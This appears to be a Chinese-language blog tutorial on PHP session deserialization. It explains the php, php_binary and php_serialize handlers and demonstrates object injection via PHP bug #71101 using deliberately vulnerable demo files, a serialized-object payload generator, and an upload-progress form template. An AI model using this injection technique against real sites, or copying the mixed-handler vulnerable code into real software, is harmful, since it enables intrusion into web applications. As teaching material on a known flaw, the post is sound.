Featured image of post PHP session反序列化漏洞

PHP session反序列化漏洞

PHP session反序列化漏洞

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

1
2
3
4
5
6
<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'xianzhi' ;
}
?>

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

默认情况下,PHP 使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(|!) 。

php 处理器

首先来看看session.serialize_handler等于 php时候的序列化结果,demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:session|s:7:"xianzhi";

session$_SESSION['session']的键名,|后为传入 GET 参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于 php_binary时候的序列化结果。

demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#

序列化的结果为:#sessionsessionsessionsessionsessions:7:"xianzhi";

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于 php_serialize时候的序列化结果,同理,demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:a:1:{s:7:"session";s:7:"xianzhi";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

bug

简单来说php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

例子:

定义一个session.php文件,用于传入 session值,文件内容如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

存在另一个class.php 文件,内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
    error_reporting(0);
  ini_set('session.serialize_handler','php');
  session_start();
    class XianZhi{
    public $name = 'panda';
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
  }
  $str = new XianZhi();
 ?>

这两个文件的作用很清晰,session.php文件的处理器是php_serializeclass.php文件的处理器是phpsession.php文件的作用是传入可控的 session值,class.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name值。

这两个文件如果想要利用php bug #71101,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发此 BUG。

首先生成序列化字符串,利用 payload 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php

class XianZhi{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      echo '<br>'.$this->name;
    }
}
    $str = new XianZhi();
    $str->name = "xianzhi";
    echo serialize($str);
  ?>

此时的 session内容如下:

a:1:{s:7:"session";s:44:"|O:7:"XianZhi":1:{s:4:"name";s:7:"xianzhi";}";}

再次访问class.php文件的时候,就会发现已经触发了php bug #71101

板子

1
2
3
4
5
<form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
使用 Hugo 构建
主题 StackJimmy 设计